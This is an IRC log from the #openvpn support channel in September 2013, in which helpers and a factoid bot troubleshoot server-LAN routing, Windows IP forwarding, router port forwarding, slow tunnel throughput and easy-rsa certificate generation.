11:30 <+pekster> You shouldn't have that as _that_ host is responsible for that network
11:30 <+pekster> (the one the config is on)
11:30 <+pekster> See --server in the manpage for the expansion
11:30 < rictoo> yes
11:30  * pekster sometimes wishes we had no helper-directives :\
11:30 < rictoo> yes i understand the concept krzee
11:30 <@krzee> oh wow
11:30 <@krzee> ya i just looked at the config
11:30 <@krzee> line 21 must go
11:30 <+pekster> You apparently don't understand the concepts; what is line 21 doing?
11:31 <@krzee> better yet, answer that ^
11:31 < rictoo> oh forget that i was messing around
11:31 < rictoo> i removed that since
11:31 <@krzee> umm
11:32 <@krzee> do NOT give stale pastes when asking for help
11:32 <@krzee> terrible form
11:32 < rictoo> that paste was from over an hour ago, sorry, i just repasted it
11:32 <+pekster> If you can't reach your server-side LAN from your client, where does the flowchart put you?
11:32 < rictoo> it puts a break between tun0 and eth0
11:33 <+pekster> ...
11:33 < rictoo> err, 10.8.0.1 and 10.10.2.10 *
11:33 <+pekster> There's no reference to a "break" in the flowchart, no
11:33 <+pekster> Re-read !serverlan if you missed it
11:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:33 < rictoo> as in, 10.8.0.1 and 10.10.2.10 can't communicate
11:33 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
11:34 <+pekster> What's 10.10.2.10 got to do with anything?
11:34 < rictoo> that's the internal lan ip of the box the openvpn server is running on
11:34 <+pekster> Thus far you have 10.8.0/24 and 192.168.0/24 (awful choice for a LAN, btw, since lots of SOHO equipment conflicts)
11:34 < rictoo> and the client can't ping it and receive a response
11:34 <+pekster> Well of course your VPN client can't reach it: you're not pushing a route for it!
11:34 < rictoo> i know!
11:34 <+pekster> Is there a reason you refuse to read the flowchart that tells you how to fix this?
11:34 <@krzee> 10.10.2.10 was from the graph in http://www.secure-computing.net/wiki/index.php/Graph
11:34 <@vpnHelper> Title: Graph - Secure Computing Wiki (at www.secure-computing.net)
11:35 < rictoo> damn i didn't notice there was text under the graph
11:35 < rictoo> sorry
11:35 <+pekster> !serverlan
11:35 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:35 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:35 <+pekster> ^ _that_ flowchart rictoo
11:35 < rictoo> ohh i thought http://www.secure-computing.net/wiki/index.php/Graph
11:35 <@vpnHelper> Title: Graph - Secure Computing Wiki (at www.secure-computing.net)
11:35 <+pekster> <+pekster> There's no reference to a "break" in the flowchart, no   <+pekster> Re-read !serverlan if you missed it
11:36 < rictoo> ok so i'm on "Turn on IP forwarding or fix IP forwarding in your firewall"
11:37 <+pekster> You can't ping 192.168.0.x where "x" is the IP the VPN server has on that /24 segment?
11:38 < rictoo> You need to add a static route to your gateway: route add -net 10.8.0.0/24 gw 10.10.2.10 or the equiv in your routers OS ugh
11:38 < rictoo> whoops sorry wrong paste
11:38 < rictoo> "route 10.8.0.0 255.255.255.0 192.168.0.212" i used to have this in my server conf (192.168.0.212 is internal lan ip of server) but that didn't work either
11:38 < rictoo> i still couldn't ping 192.168.0.212 from the client
11:39 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
11:39 <+pekster> THat route statement is completely and utterly bogus: don't use it
11:39 < rictoo> ok
11:39 <+pekster> If .212 is the IP of the host the VPN server is using on the inside interface, you either have not turned on IP forwarding in your OS kernel, or have a firewall that blocks the inbound (or, possibly outbound) traffic
11:39 <+pekster> The solution is to verify IP forwarding is enabled and your firewall allows the relevant traffic
11:40 < rictoo> .212 is whats given by my router
11:41 < rictoo> i have no firewall, and IP forwarding is enabled in windows when running with admin privilages
11:41 <+pekster> hah, no
11:41 <+pekster> !winipforward
11:41 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
11:41 < rictoo> that's what i read on a forum but ok
11:42 < rictoo> thanks :)
11:42 <+pekster> This is why the !serverlan factoid told you to see !ipforward for details
11:42 <+pekster> fwiw, Windows makes an awful routing platform, but YMMV if you're intent on using it
11:43 < rictoo> i have to use it since i dont have any other boxes on this network and the point of this vpn was to access something on the local windows box
11:43 < rictoo> (that only runs on windows)
11:43 <+pekster> A VM with a few gig of disk (less if you're comfortable using mini/micro distros) and maybe 128M RAM could do it too
11:44 < rictoo> yeah i have one set up
11:44 < rictoo> maybe i should use that
11:44 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
11:44 <+pekster> You can use Windows, but there's a reason people don't generally use them for routers
11:44 < rictoo> is there a way to test ip forwarding?
11:44 <+pekster> Ping?
11:45 < rictoo>  Step 6: Restart the Windows Server.
11:45 < rictoo> god damn it
11:45 < rictoo> brb
11:45 < rictoo> thanks for the help
11:45 < rictoo> "You are about to close 76 tabs. Are you sure you want to continue?" result of hours of no success heh
11:45 <+pekster> Told you Windows makes an awful router platform ;)
11:47 -!- rictoo [~rictoo@563BD0B7.dsl.pool.telekom.hu] has quit [Quit: Leaving]
11:52 -!- rictoo [~rictoo@563BD0B7.dsl.pool.telekom.hu] has joined #openvpn
11:54 < rictoo> so umm "route 10.8.0.0 255.255.255.0 192.168.0.212" + ipforwarding + pushing subnet to client = still no response to pinging 192.168.0.212 :(
11:54 <+pekster> _STOP_ using that route
11:55 <+pekster> It is not what you want to be doing; please read --server in the manpage for the reason why
11:55 < rictoo> but it still should work?
11:55 < rictoo> i mean for debugging purposes at least
11:55 < rictoo> i'll check out themanpage
11:56 < rictoo> oh is this it? "Don't use --server if you are ethernet bridging. Use --server-bridge instead."
11:56 < rictoo> but i cant use tap, i can only use tun
11:56 <+pekster> tun = routing
11:56 <+pekster> --server already implies the route you have
11:56 < rictoo> yeah
11:56 <+pekster> Adding it again is not only pointless, but you've used the wrong gateway
11:57 <+pekster> (possibly breaking thingsn in the process.)
11:57 < rictoo> ohh
11:57 <+pekster> Don't use it. 3rd time you've been told, yet you leave it for "debugging" or some nonsense
11:57 < rictoo> ah, this "server 10.8.0.0 255.255.255.0"
11:57 <+pekster> If you don't ask, demonstrate that you've learned something and bothered to read the manpage reference you were given
11:57 <+pekster> Yes, that
11:58 <+pekster> --server does "a lot of things"
11:58 < rictoo> i thought the route connected the vpn and lans though
11:58 < rictoo> i clearly do not understand what a gateway is
11:58 <+pekster> --route is merely a convenient way to alter the kernel routing table
11:58 <+pekster> That will be a problem since TCP/IP and routing basics are required to use openvpn
11:58 <+pekster> A basic guide is here:
11:58 <+pekster> !tcpip
11:58 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
11:59 < rictoo> hah
11:59 < rictoo> so you wont help me unless i read a 1000 page pdf?
12:00 <+pekster> !101
12:00 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
12:00 < rictoo> but im not asking for that
12:00 <+pekster> If you need help learning what a gateway is and how packets are routed, ##networking is more appropriate
12:00 < rictoo> i never asked you what a gateway was
12:00 <+pekster> < rictoo> i clearly do not understand what a gateway is
12:00 < rictoo> yeah
12:00 <+pekster> If you don't know that, openvpn is going to be virtually impossible for you to use
12:00 < rictoo> i'm obviously missing a single route somewhere
12:00 < rictoo> that does not warrant reading a 1000 page pdf
12:01 <+pekster> Not with the config you pasted you aren't
12:01 <@krzee> you used --server but did not read what it does, then you added a duplicate route entry in your config with the gateway being set incorrectly
12:01 <+pekster> With the 192.168.0/24 route pushed to the server (and after you fix the broken 10.8.0/24 route) a ping to the LAN IP should work fine, as the flowchart indicates
12:01 <+pekster> If it doesn't, either your VPN doesn't work at all (meaning you skipped steps on the flowchart) or your IP forwarding and/or firewall is at issue
12:02 < rictoo> sorry
12:04 < rictoo> pekster, do you mean pushed to the client?
12:05 < rictoo> holy fuck
12:05 < rictoo> it works
12:05 < rictoo> the problem was  ip forwarding the whole time
12:06 < rictoo> thank you all
12:07 < rictoo> and i'm guessing adding a route to the router isn't very easy on a crappy dlink
12:08 < Skapare> rictoo: put dd-wrt on it
12:08 <+pekster> Download/read its manual?
12:08 <+pekster> dd-wrt is garbage: run openwrt if it's supported
12:08 < rictoo> Skapare, not enough memory :(
12:09 < rictoo> i used to have ddwrt but that router is long gone
12:10 < Skapare> get a new, better, router
12:10 < rictoo> $$
12:21 -!- rictoo_ [~rictoo@563BD0B7.dsl.pool.telekom.hu] has joined #openvpn
12:24 -!- rictoo [~rictoo@563BD0B7.dsl.pool.telekom.hu] has quit [Ping timeout: 260 seconds]
12:25 -!- rictoo [~rictoo@563BD0B7.dsl.pool.telekom.hu] has joined #openvpn
12:26 <@krzee> adding a route to a router is plenty easy on a dlink
12:26 < rictoo> i just checked
12:27 < rictoo> mine does't support it
12:27 <@krzee> what model
12:27 < rictoo> DIR-301
12:27 < rictoo> it's missing the option under "advanced"
12:28 <@krzee> it must not feel you're ready for advanced
12:28 < rictoo> lol
12:29 -!- rictoo_ [~rictoo@563BD0B7.dsl.pool.telekom.hu] has quit [Ping timeout: 260 seconds]
12:33 <@krzee> wow that really doesnt support adding a route
12:33 <@krzee> funny
12:33 <@krzee> what a terrible little "router"
12:34 < rictoo> thanks
12:34 < rictoo> you can send me one if you wish
12:34 < rictoo> :)
12:34 <@krzee> nah you see, i dont actually care
12:34 <@krzee> you cant even put openwrt/ddwrt on it
12:34 < rictoo> yes, ive already mentioned all of these things
12:35 <@krzee> might be time to piny up $30 for a new one
12:35 <@krzee> pony*
12:35 < rictoo> no i'd rather spend that on drugs
12:35 <@krzee> cool
12:35 <@krzee> speaking of which, time for me to leave
12:35 < rictoo> bye
12:38 -!- rictoo [~rictoo@563BD0B7.dsl.pool.telekom.hu] has quit [Quit: Leaving]
12:39 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:41 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
14:03 -!- aegis [~aegis@184.75.223.34] has quit [Ping timeout: 248 seconds]
14:07 -!- dradec [~d@erilos.net] has joined #openvpn
14:07 -!- dradec is now known as Guest89665
14:11 -!- Guest89665 [~d@erilos.net] has quit [Client Quit]
14:11 -!- Guest89665 [~d@unaffiliated/dradec] has joined #openvpn
14:13 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
14:13 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
14:14 -!- Guest89665 [~d@unaffiliated/dradec] has left #openvpn []
14:14 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
14:50 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 240 seconds]
15:15 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
15:19 -!- esde [~esde@unaffiliated/esde] has quit [Ping timeout: 260 seconds]
15:20 -!- esde [~esde@162.218.209.203] has joined #openvpn
15:53 -!- ni291187 [~u931732@214.Red-80-35-127.staticIP.rima-tde.net] has joined #openvpn
15:57 -!- ni291187 [~u931732@214.Red-80-35-127.staticIP.rima-tde.net] has quit [Remote host closed the connection]
16:05 -!- bodeezl [~westside@2605:f700:40:2c1c::cadf:3c61] has joined #openvpn
16:05 < bodeezl> !welcome
16:05 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:05 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:06 < bodeezl> !sample
16:06 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
16:27 -!- trumee [~parul@93.186.147.20] has quit [Read error: Connection reset by peer]
16:32 -!- trumee [~parul@93.186.147.20] has joined #openvpn
16:34 < Roklobsta> FFS the stupid firewall is rewriting port 1195 to 1198 for no good reason
16:38 < Roklobsta> firewall rule, 1195->1195  packet sniffer on openvpn shows the dest port is 1198
16:49 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
16:51 < Cubox> Damnit, it have been two days and nobody gave me any clue in order to find how to fix this... http://serverfault.com/questions/542381/openvpn-forwarding-slow-since-reboot please, someone can help me?
16:51 <@vpnHelper> Title: linux - Openvpn, forwarding slow since reboot - Server Fault (at serverfault.com)
16:51 < Cubox> Also here... https://forums.openvpn.net/topic13919.html
16:51 <@vpnHelper> Title: OpenVPN Support Forum Rebooted server, clients access outside internet slow. : Server Administration (at forums.openvpn.net)
17:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:29 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 256 seconds]
17:40 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:40 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
17:41 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
17:42 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
17:50 -!- rmk0 [~rmk0@unaffiliated/rothwell] has joined #openvpn
17:50 < Cubox> Still nobody? :(
17:51 -!- rmk0 [~rmk0@unaffiliated/rothwell] has left #openvpn []
17:59 < Roklobsta> nup.  explain to me wht the linksys x1000 doesn't apply my port forwarding and static routes after a reboot even though they are enabled.  What a PoS
18:02 < Roklobsta> and why it's wrongly rewriting port forward addreses
18:11 -!- Diffen [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
18:24 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has quit [Ping timeout: 264 seconds]
18:26 < Roklobsta> OK, for anyone who wants to know, linksys x1000 port forwarding to internal UDP only doesn't work.  Has to be Both.  What a hink of shit.
18:34 -!- Diffen [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: This computer has gone to sleep]
18:38 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
18:43 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
18:45 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
18:47 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Read error: Connection reset by peer]
18:49 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
18:52 < Skapare> Roklobsta: "both" what?
19:00 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-kjnpzuywpweyictq] has quit [Excess Flood]
19:00 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
19:00 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
19:00 -!- pcdummy_ [~pcdummy@mx1.page4me.ch] has quit [Quit: No Ping reply in 180 seconds.]
19:00 -!- pcdummy [~pcdummy@mx1.page4me.ch] has joined #openvpn
19:00 -!- pcdummy [~pcdummy@mx1.page4me.ch] has quit [Changing host]
19:00 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
19:00 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
19:02 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-nxjxkvaqtfxcovbw] has joined #openvpn
19:02 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:07 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
19:07 -!- master_o1_master [~master_of@p4FD7B08B.dip0.t-ipconnect.de] has joined #openvpn
19:10 -!- master_of_master [~master_of@p4FF244FA.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
19:11 -!- baphomet1 [~loki@c-76-102-227-69.hsd1.ca.comcast.net] has joined #openvpn
19:12 < baphomet1> hey guys.  I was wondering if I could get a little help setting up openVPN with windows.  I am following a HTG geek guide, but my outputs are totally different.  specifically when I run the build-ca.bat.  it says it cannot open config file: /etc/ssl/openssl.cnf.  I had already edited the line in vars pointing it at the correct file path, but I still get a long list of options.  am I doing something wrong?
19:13 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Quit: Leaving.]
19:14 < baphomet1> also get errors with the clean-all.bat command as well
19:14  * Skapare has no idea about Windows
19:15 < baphomet1> Skapare: I don't usually use windows, but I am trying to accomplish something and I am not sure how to accomplish the same thing using a different OS
19:16 < Skapare> and accomplishing whatever that is that needs Windows is also needing openvpn to be set up
19:17 < Skapare> maybe you could buind the CA on the machine at the other end of the tunnel you want to set up
19:17 < baphomet1> my router (asus rt-ac66u) with merlin firmware allows my router to act as an openVPN server.  to set this up in the router I need to generate the appropriate keys
19:17 < baphomet1> my ultimate goal is to use my router as an openVPN server that clients can connect to
19:17 < baphomet1> just need to generate the keys first
19:17 < Skapare> will the router generate a CA?
19:17 < Roklobsta> Skapare: both TCP and UDP protocols
19:17 < baphomet1> it doesn't look like it
19:18 < Eugennerz> !easyrsa
19:18 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
19:18 < Eugennerz> !xca
19:18 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
19:18 < baphomet1> all the instructions I found were detailing how to do it in windows, that is why I tried to do it in windows.  but it didn't work as anticipated.
19:18 < Eugennerz> I prefer the latter, because easy GUI. ^
19:18 < Skapare> Roklobsta: lots of cheap no-good routers on the market
19:19 < baphomet1> Eugennerz: I was using the scripts in the easy-rsa directory.  they didn't work.
19:19 < baphomet1> they seem broken
19:19 < Eugennerz> They work fie
19:19 < Eugennerz> !howto
19:19 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:19 < Eugennerz> The howto walks you through exactly how to use them, even ^
19:19 < Skapare> baphomet1: I used the instructions online at openvpn.net in Linux and that worked for me
19:19 < baphomet1> Eugennerz: when a script in windows is looking for a file in /etc/ don't you think something is wrong?
19:19 < Eugennerz> !windows
19:19 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
19:20 < baphomet1> Eugennerz: helpful….:S
19:20 < Eugennerz> !beer
19:20 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
19:20 < baphomet1> Skapare: just to generate the keys right?
19:20 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
19:20 < Skapare> well, I run openvpn in Linux, too
19:21 < baphomet1> Skapare: server you mean?
19:21 < Skapare> and client
19:22 < baphomet1> I run the client in linux.
19:23 < Skapare> I have 4 AWS instances with CentOS OS running openvpn server ... and 2 machines, one with CentOS and one with Slackware, each running 4 process clients connecting to all the 4 servers
19:23 < Skapare> no Windows here
19:23 < baphomet1> Skapare: ok.  Well could you help me get the certs generated in linux?
19:23 < Skapare> !easyrsa
19:23 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
19:24 < Skapare> oh wait, that was already done above ... sorry about the dup
19:25 < baphomet1> the server doesn't care where the certs were generated, right?
19:26 < Skapare> right ... it just reads the file ... and you can say in the config where it is
19:27 < baphomet1> don't follow your last statement
19:28 < Skapare> when you make a config file for the server, you can say in that file where the keys are
19:28 < Skapare> just don't lie to openvpn server ... if you do it will not read the files
19:29 < baphomet1> I don't know how that will apply to my situation as the server is on the router and I am generating the keys on a VM.
19:29 < baphomet1> just going to dump the keys.
19:29 < baphomet1> I am working on it now
19:29 < baphomet1> brb
19:29 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
19:31 < Skapare> you will have to provide the keys to the router in whatever name the router expects them
19:31 < Skapare> or reconfigure the router to know where you put them
19:31 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
19:32 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
19:32 < Skapare> maybe your router has documentation
19:34 < baphomet1> Skapare: still getting errors.  says no /etc/openvpn/easy-rsa/openssl.cnf file could be found.  Further invocations will fail.
19:34 < baphomet1> had a look in vars
19:34 < baphomet1> it points to the right directory
19:34 < baphomet1> brb
19:35 < Skapare> the router says that?  Sounds like you need to put stuff in these places
19:36 < Skapare> Linux based router I guess ... do you have command line access?
19:36 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:37 -!- michaelhart [~michaelha@162.209.54.120] has quit [Client Quit]
19:44 < Cubox> still asking for my issue, can comeone look at it? I tried with tcp and I get the same behaviour. http://serverfault.com/questions/542381/openvpn-forwarding-slow-since-reboot
19:45 <@vpnHelper> Title: linux - Openvpn, forwarding slow since reboot - Server Fault (at serverfault.com)
19:47 < baphomet1> Skapare: not the router.  I am trying to generate the certs on a linux VM.
19:48 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:49 < Skapare> baphomet1: which instructions did you follow?
19:49 < Skapare> Cubox: can you show a tcpdump from the outside-of-tunnel view, of the encrypted traffic, while a transfer happens inside the tunnel?
19:50 < baphomet1> http://www.thegeekstuff.com/2013/09/openvpn-setup/
19:50 <@vpnHelper> Title: How to Setup Linux VPN Server and Client using OpenVPN (at www.thegeekstuff.com)
19:50 < Skapare> baphomet1: I didn't use that one myself
19:50 < baphomet1> noted.  however the issue doesn't appear to have anything to do with that site specifically.  I am getting different errors now.
19:51 < Cubox> Skapare: how to do that? So I need to tcpdump eth0 or tun0?
19:51 < Skapare> ln -s openssl-1.0.0.cnf openssl.cnf
19:51 < Skapare> did you do that command?
19:52 < Skapare> ^baphomet1:
19:52 < Skapare> Cubox: eth0 probably ... not tun0
19:52 < Cubox> ok
19:53 < baphomet1> Skapare: it says to run that command after source vars.  however when I run source vars I get this
19:53 < baphomet1> Skapare: bash: /etc/openvpn/easy-rsa/openssl-1.0.0.cnf: permission denied
19:54 < Skapare> ls -dl /etc/openvpn/easy-rsa/openssl-1.0.0.cnf
19:54 < baphomet1> root user
19:54 < baphomet1> and I am using a su prompt
19:54 < Skapare> permission bits are wrong for that file?
19:55 < baphomet1> hang on
19:55 < Skapare> what distro are you using for this?
19:55 < baphomet1> ubuntu
19:55 < baphomet1> 12.04
19:58 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
19:59 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
19:59 < baphomet1> still get permission denied.  tried chmod 777 that file but that threw even more errors
20:00 < Skapare> errors from the chmod command?  sounds like a system or sysadmin error
20:00 < Skapare> you might want to try the #ubuntu channel for that
20:01 < baphomet1> no not chmod
20:01 < baphomet1> chmod 777 worked
20:01 < baphomet1> then when I ran source vars it threw a whole ton of errors
20:01 < Cubox> Skapare: http://paste.placeholder.fr/show/455/
20:01 < Skapare> oh ... so chmod worked ... it got past that permissions error ... and hit the next error?
20:01 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
20:01 < baphomet1> Skapare: yeah
20:02 -!- HyperGlide [~HyperGlid@182.149.191.41] has joined #openvpn
20:02 < baphomet1> Skapare: it almost seems like I should run this ln -s openssl-1.0.0.cnf openssl.cnf before I run source vars
20:03 < baphomet1> yep
20:03 < baphomet1> that did it
20:03 < baphomet1> yep.  build-ca is working now.
20:03 < Skapare> Cubox: looks like around a second or two between each packet being sent ... from ftp.proxad.net ... maybe their CPU is overloaded for encrypted traffic
20:03 < Skapare> baphomet1: hmmm ... report that to the author
20:04 < baphomet1> Skapare: it seems like most sites with instructions for this do it in the same order.  so either they are all wrong, or I am doing something totally wrong.  but it's pretty hard to get it wrong here.  the commands aren't that complex.
20:04 < Cubox> Skapare: this is the same thing on every server/whatever
20:05 < Skapare> Cubox: ... that the sender paces their output slow in a tunnel ... what are other server locations?
20:07 < Cubox> Skapare: even facebook servers makes me download at 2ko/s
20:07 < Cubox> only via the tunnel
20:07 < Cubox> and the server download those files at 40ko/s
20:08 < Skapare> where is the tunnel endpoint (remote) ?
20:08 < Skapare> you are using this vpn/tunnel to access the internet out of view of your ISP?
20:09 -!- HyperGlide [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
20:11 < Skapare> can you log in as root on the openvpn server machine?
20:12 < Skapare> I think your server side is under a DoS attack ... or is way overloaded
20:14 < baphomet1> Skapare: got through it.  generated the certs
20:14 < Cubox> Skapare: in france
20:14 < Cubox> I am not under a DoS
20:14 < Cubox> and not overloaded (i am root)
20:15 < Cubox> I have a load average of 0.04
20:15 < Skapare> can you do the tcpdump on the server/remote side then?
20:15 < Cubox> it was a tcpdump from the server side
20:16 < Skapare> then they are doing some traffic shaping against that server IP
20:16 < Skapare> or that server has very slow net access
20:16 < Cubox> the server download at 40mo/s.
20:18 -!- baphomet1 [~loki@c-76-102-227-69.hsd1.ca.comcast.net] has quit [Quit: baphomet1]
20:18 < Skapare> see line 4 and line 5 in that tcpdump ... if this is a file transfer, that is bad timing
20:18 < Cubox> I know... it's the whole problem.
20:20 < Skapare> but yet if you originate the download on that server itself you get full speed ?
20:20 < Cubox> yes
20:21 < Skapare> you might need to pick a smaller file, and do a tcpdump in a way that runs from beginning to end for both cases and see if something odd at the beginning caused this
20:22 < Skapare> doing it for both tunnel originated and server originated download of the same file
20:22 < Skapare> the "length 2712" after acks is also strange
20:23 < Skapare> what is the MTU of the eth0 at the server?
20:23 < Skapare> or is the server using another tunnel out to the internet?
20:28 < Cubox> no other tunnel
20:28 < Cubox> mtu 15500
20:28 < Cubox> mtu 1500
20:30 < Skapare> if it got a 2712 byte packet, then you had fragmentation going on, or something along the way doing TCP resequencing
20:31 < Cubox> i'm going to bed, i'll see tommorow
20:31 < Cubox> thanks
20:31 < Skapare> try downloading this with the same tcpdump:
20:31 < Skapare> http://slashusr.com/sedna-boot-menu-5.gif
20:57 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 260 seconds]
20:59 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
21:58 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:11 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
22:13 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has joined #openvpn
22:17 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 248 seconds]
22:26 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
22:29 -!- Tera [~tera@ip133-114.seclan.com] has quit [Ping timeout: 245 seconds]
22:29 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 245 seconds]
22:29 -!- lamokie [~steve@li428-245.members.linode.com] has quit [Ping timeout: 245 seconds]
22:29 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
22:29 -!- lamokie [~steve@li428-245.members.linode.com] has joined #openvpn
22:30 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
22:35 -!- cali [~cali@unaffiliated/cali] has quit [Max SendQ exceeded]
22:38 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
22:40 -!- cali [~cali@unaffiliated/cali] has quit [Max SendQ exceeded]
22:42 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
22:44 -!- Zordrak [~jaz@87-194-137-223.bethere.co.uk] has quit [Ping timeout: 256 seconds]
22:44 -!- cali [~cali@unaffiliated/cali] has quit [Max SendQ exceeded]
22:46 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
22:48 -!- cali [~cali@unaffiliated/cali] has quit [Max SendQ exceeded]
22:49 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
22:49 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
22:51 -!- cali [~cali@unaffiliated/cali] has quit [Max SendQ exceeded]
22:51 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
23:04 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
23:05 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
23:39 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has quit [Ping timeout: 252 seconds]
--- Day changed Sun Sep 29 2013
00:21 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: No route to host]
00:21 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
00:36 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 248 seconds]
01:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
